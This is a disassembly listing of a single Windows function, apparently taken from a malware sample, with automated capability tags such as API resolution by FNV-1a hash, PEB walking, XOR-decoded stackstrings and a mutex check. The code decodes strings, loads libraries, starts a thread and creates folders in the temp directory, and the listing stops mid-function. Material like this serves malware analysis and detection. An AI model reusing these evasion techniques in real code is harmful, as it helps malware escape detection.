Function at 0x4aaaee
Capabilities:
Access peb ldr_data
Check mutex on windows
Contain obfuscated stackstrings
Encode data using xor
Get number of processors
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xffffffe0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x557875
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xaa8
push esi
push edi
mov dword [ebp - 0x54], 0
push dword [0x590bcc]
call fcn.0052935e
add esp, 4
mov ecx, 0x590bbc
call fcn.004b0b80
mov edi, eax
lea eax, [edi + 1]
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x4a9638
mov ecx, 0x590bbc
sub edi, eax
call fcn.004b0b80
mov esi, eax
lea eax, [ebp - 0x658]
mov ecx, eax
mov dword [ebp - 0x3c], eax
call fcn.004101a0
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x658]
push edi
push esi
call fcn.004100e0
mov dword [ebp - 4], 2
mov ecx, 0x590bbc
call fcn.0040fe60
lea eax, [ebp - 0x658]
mov ecx, 0x590bbc
push eax
call fcn.00410030
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x658]
call fcn.0040fe60
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x658]
mov dword [ebp - 0x34], eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a973f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a973f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a9735
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a9718
cmp esi, 0x6dd8a845
je 0x4a9743
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a9700
mov eax, dword [eax]
jmp 0x4a96d0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop
mov edi, dword [ecx + 0x18]
mov dword [ebp - 0x48], edi
mov edx, dword [edi + 0x3c]
mov esi, dword [edx + edi + 0x78]
mov eax, dword [edx + edi + 0x7c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], esi
lea eax, [edi + esi]
mov dword [ebp - 0x30], eax
cmp eax, edi
je 0x4a97e7
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4a97e7
mov eax, dword [eax + 0x20]
mov esi, dword [ecx + 0x18]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [ebp - 0x2c], eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x4a97dd
nop dword [eax + eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4a97c0
cmp esi, 0x60993b9d
je 0x4a97eb
mov eax, dword [ebp - 0x2c]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4a97a3
mov ecx, dword [ecx]
jmp 0x4a9770
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0x8000
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov edi, dword [0x590b44]
mov esi, dword [0x590b40]
push 0
push 2
push edi
push esi
call fcn.00548c60
mov ecx, dword [0x590b48]
sub ecx, eax
mov eax, dword [0x590b4c]
mov dword [ebp - 0x5c], ecx
sbb eax, edx
xor ecx, esi
mov dword [ebp - 0x58], eax
mov eax, edi
mov edx, dword [ebp - 0x58]
xor eax, edx
or ecx, eax
je 0x4a9863
add esi, dword [ebp - 0x5c]
mov dword [0x590b40], esi
adc edi, edx
mov dword [0x590b44], edi
test edi, edi
jl 0x4a9888
jg 0x4a9871
cmp esi, 0x4e3e
jbe 0x4a9888
xorps xmm0, xmm0
movlpd qword [0x590b40], xmm0
mov edi, dword [0x590b44]
mov esi, dword [0x590b40]
push 0
push 2
push edi
push esi
call fcn.00548c60
mov ecx, dword [ebp - 0x5c]
sub ecx, eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x5c], ecx
sbb eax, edx
mov dword [0x590b48], ecx
mov dword [ebp - 0x58], eax
xor ecx, esi
mov dword [0x590b4c], eax
xor eax, edi
or ecx, eax
je 0x4a98c8
add esi, dword [ebp - 0x5c]
mov dword [0x590b40], esi
adc edi, dword [ebp - 0x58]
mov dword [0x590b44], edi
test edi, edi
jl 0x4a98e1
jg 0x4a98d6
cmp esi, 0x4e3e
jbe 0x4a98e1
xorps xmm0, xmm0
movlpd qword [0x590b40], xmm0
push 0
call fcn.005316ab
add esp, 4
push eax
call fcn.0052935e
add esp, 4
call fcn.00416420
mov eax, dword [0x590b40]
xor dword [0x590b48], eax
mov eax, dword [0x590b44]
xor dword [0x590b4c], eax
mov dword [ebp - 0x28], 0x30318e7b
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x310]
mov dword [ebp - 0x3f8], eax
lea eax, [ebp - 0x310]
mov dword [ebp - 0x3f4], ecx
mov ecx, 0x590c04
pxor xmm1, xmmword [ebp - 0x400]
push 0
push eax
movaps xmmword [ebp - 0x310], xmm1
call fcn.004b0970
test eax, eax
jne 0x4a9a77
call fcn.00428f20
test al, al
je 0x4a9a72
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a9a4f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a9a4f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a9a45
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a9a28
cmp esi, 0xe80fd3a
je 0x4a9a53
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a9a10
mov eax, dword [eax]
jmp 0x4a99e0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
jmp 0x4a9a77
call fcn.00429120
call fcn.00416420
mov eax, dword [0x590b40]
xor dword [0x590b48], eax
mov eax, dword [0x590b44]
xor dword [0x590b4c], eax
mov dword [ebp - 0x28], 0x30318e7b
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x5cc], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x190]
mov dword [ebp - 0x5c8], eax
lea eax, [ebp - 0x190]
mov dword [ebp - 0x5c4], ecx
mov ecx, 0x590ba4
pxor xmm1, xmmword [ebp - 0x5d0]
push 0
push eax
movaps xmmword [ebp - 0x190], xmm1
call fcn.004b0970
test eax, eax
jne 0x4a9c18
call fcn.00429160
mov byte [ebp - 0x41], al
call fcn.00429250
mov byte [ebp - 0x5d], al
call fcn.00429890
cmp byte [ebp - 0x41], 0
jne 0x4a9b75
cmp byte [ebp - 0x5d], 0
jne 0x4a9b75
test al, al
jne 0x4a9b75
call fcn.00428f60
test al, al
je 0x4a9c18
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a9bf7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a9bf7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a9bed
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a9bd0
cmp esi, 0xe80fd3a
je 0x4a9bfb
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a9bb1
mov eax, dword [eax]
jmp 0x4a9b81
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov dword [ebp - 0x28], 0x30318e7b
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5e0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x5dc], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1a0]
mov dword [ebp - 0x5d8], eax
lea eax, [ebp - 0x1a0]
mov dword [ebp - 0x5d4], ecx
mov ecx, 0x590cac
pxor xmm1, xmmword [ebp - 0x5e0]
push 0
push eax
movaps xmmword [ebp - 0x1a0], xmm1
call fcn.004b0970
test eax, eax
jne 0x4a9ccd
lea ecx, [eax + 1]
call fcn.00429bb0
mov dword [ebp - 0x28], 0x30318e7b
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x5ec], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1b0]
mov dword [ebp - 0x5e8], eax
lea eax, [ebp - 0x1b0]
mov dword [ebp - 0x5e4], ecx
mov ecx, 0x590c94
pxor xmm1, xmmword [ebp - 0x5f0]
push 0
push eax
movaps xmmword [ebp - 0x1b0], xmm1
call fcn.004b0970
test eax, eax
jne 0x4a9d7f
call fcn.0042eb40
mov dword [ebp - 0x28], 0x30318e7b
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x600], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x5fc], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1c0]
mov dword [ebp - 0x5f8], eax
lea eax, [ebp - 0x1c0]
mov dword [ebp - 0x5f4], ecx
mov ecx, 0x590c34
pxor xmm1, xmmword [ebp - 0x600]
push 0
push eax
movaps xmmword [ebp - 0x1c0], xmm1
call fcn.004b0970
mov edi, dword [0x590b44]
test eax, eax
mov esi, dword [0x590b40]
push 0
push 2
push edi
push esi
sete byte [ebp - 0x41]
call fcn.00548c60
mov ecx, dword [0x590b48]
sub ecx, eax
mov eax, dword [0x590b4c]
mov dword [ebp - 0x2c], ecx
sbb eax, edx
mov dword [0x590b48], ecx
mov dword [ebp - 0x30], eax
xor ecx, esi
mov dword [0x590b4c], eax
xor eax, edi
or ecx, eax
je 0x4a9e7f
add esi, dword [ebp - 0x2c]
mov dword [0x590b40], esi
adc edi, dword [ebp - 0x30]
mov dword [0x590b44], edi
test edi, edi
jl 0x4a9e98
jg 0x4a9e8d
cmp esi, 0x4e3e
jbe 0x4a9e98
xorps xmm0, xmm0
movlpd qword [0x590b40], xmm0
mov dword [ebp - 0x28], 0x3d2a9578
mov dword [ebp - 0x24], 0x235879e4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], ecx
mov dword [ebp - 0x28], 0xaf272c54
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3ac], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1d0]
mov eax, dword fs:[0x30]
mov dword [ebp - 0x3a4], ecx
pxor xmm1, xmmword [ebp - 0x3b0]
movaps xmmword [ebp - 0x1d0], xmm1
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a9faf
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a9faf
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a9fa5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a9f88
cmp esi, 0x53b2070f
je 0x4a9fb3
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a9f70
mov eax, dword [eax]
jmp 0x4a9f40
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x1d0]
add eax, edx
push ecx
call eax
test eax, eax
je 0x4ad91e
mov dword [ebp - 0x28], 0x1c0ab558
mov dword [ebp - 0x24], 0x237c48de
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x28], 0xaf070c74
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1e0]
mov dword [ebp - 0x3b8], eax
lea eax, [ebp - 0x1e0]
mov dword [ebp - 0x3b4], ecx
pxor xmm1, xmmword [ebp - 0x3c0]
push eax
movaps xmmword [ebp - 0x1e0], xmm1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.004ced10
call fcn.0050e310
push 0
push 0
push 0
push 0x438180
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x590b3c], 0xffffffff
jne 0x4aa16d
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4aa13f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4aa13f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4aa135
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4aa118
cmp esi, 0x2fa62ca8
je 0x4aa143
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4aa100
mov eax, dword [eax]
jmp 0x4aa0d0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x590b3c], 0xffffffff
je 0x4aa0c0
mov ecx, 0x104
lea eax, [ebp - 0xaa0]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4aa180
lea eax, [ebp - 0xaa0]
push eax
push 0xfc
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.00416420
mov eax, dword [0x590b40]
lea ecx, [ebp - 0x6e8]
xor dword [0x590b48], eax
mov edx, 0xd
mov eax, dword [0x590b44]
xor dword [0x590b4c], eax
call fcn.0041a940
mov dword [ebp - 4], 6
mov dword [ebp - 0x28], 0x3b258e68
mov dword [ebp - 0x24], 0x4c6158f4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x180]
mov dword [ebp - 0x3c8], eax
lea eax, [ebp - 0x670]
mov dword [ebp - 0x3c4], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x3d0]
movaps xmmword [ebp - 0x180], xmm1
mov dword [ebp - 0x3c], eax
call fcn.004101a0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x180]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4aa282
sub ecx, edx
lea eax, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0x670]
call fcn.004100e0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xaa0]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4aa2b0
sub ecx, edx
lea eax, [ebp - 0xaa0]
push ecx
push eax
push 0
lea ecx, [ebp - 0x670]
call fcn.004ba210
push eax
lea ecx, [ebp - 0x738]
call fcn.0040fcf0
mov dword [ebp - 0x54], 1
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x6e8]
push eax
lea ecx, [ebp - 0x738]
call fcn.004b0d20
push eax
lea ecx, [ebp - 0x720]
call fcn.0040fcf0
mov ecx, 0x590b8c
mov dword [ebp - 0x54], 3
call fcn.0040fe60
lea eax, [ebp - 0x720]
mov ecx, 0x590b8c
push eax
call fcn.00410030
mov esi, 3
mov dword [ebp - 0x54], esi
and esi, 0xfffffffd
mov dword [ebp - 0x54], esi
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x720]
call fcn.0040fe60
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x720]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0xa
and esi, 0xfffffffe
mov dword [ebp - 0x54], esi
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x738]
call fcn.0040fe60
mov byte [ebp - 4], 9
lea eax, [ebp - 0x738]
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x670]
call fcn.0040fe60
mov byte [ebp - 4], 6
lea eax, [ebp - 0x670]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 6
mov dword [ebp - 0x28], 0x2137937f
mov dword [ebp - 0x24], 0x626a7ff5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x28], 0xaf4b4048
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3e0], eax
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0xc0]
mov dword [ebp - 0x3d8], eax
lea eax, [ebp - 0x688]
mov dword [ebp - 0x3d4], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x3e0]
movaps xmmword [ebp - 0xc0], xmm1
mov dword [ebp - 0x2c], eax
call fcn.004101a0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xc0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4aa448
sub ecx, edx
lea eax, [ebp - 0xc0]
push ecx
push eax
lea ecx, [ebp - 0x688]
call fcn.004100e0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xaa0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4aa471
sub ecx, edx
lea eax, [ebp - 0xaa0]
push ecx
push eax
push 0
lea ecx, [ebp - 0x688]
call fcn.004ba210
push eax
lea ecx, [ebp - 0x750]
call fcn.0040fcf0
mov esi, dword [ebp - 0x54]
lea eax, [ebp - 0x6e8]
or esi, 4
lea edx, [ebp - 0x750]
push eax
lea ecx, [ebp - 0x328]
mov dword [ebp - 0x54], esi
call fcn.004b54b0
add esp, 4
mov byte [ebp - 4], 0x19
and esi, 0xfffffffb
mov dword [ebp - 0x54], esi
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x750]
call fcn.0040fe60
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x750]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x688]
call fcn.0040fe60
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x688]
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0x1e
mov ecx, 0x590b8c
call fcn.004b0b80
mov ecx, eax
call fcn.0041a270
test al, al
je 0x4aa52b
push 0
mov dl, 1
mov ecx, 0x590b8c
call fcn.0041a2c0
add esp, 4
lea ecx, [ebp - 0x328]
call fcn.004b0b80
mov ecx, eax
call fcn.0041a270
test al, al
je 0x4aa553
push 0
mov dl, 1
lea ecx, [ebp - 0x328]
call fcn.0041a2c0
add esp, 4
push 0
mov ecx, 0x590b8c
call fcn.004b0b80
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x4aa584
mov ecx, 0x590b8c
call fcn.0042bf70
test al, al
je 0x4ad51a
push 0
lea ecx, [ebp - 0x328]
call fcn.004b0b80
push eax
call esi
test eax, eax
jne 0x4aa610
mov esi, dword [0x590b44]
mov edi, dword [0x590b40]
push eax
push 2
push esi
push edi
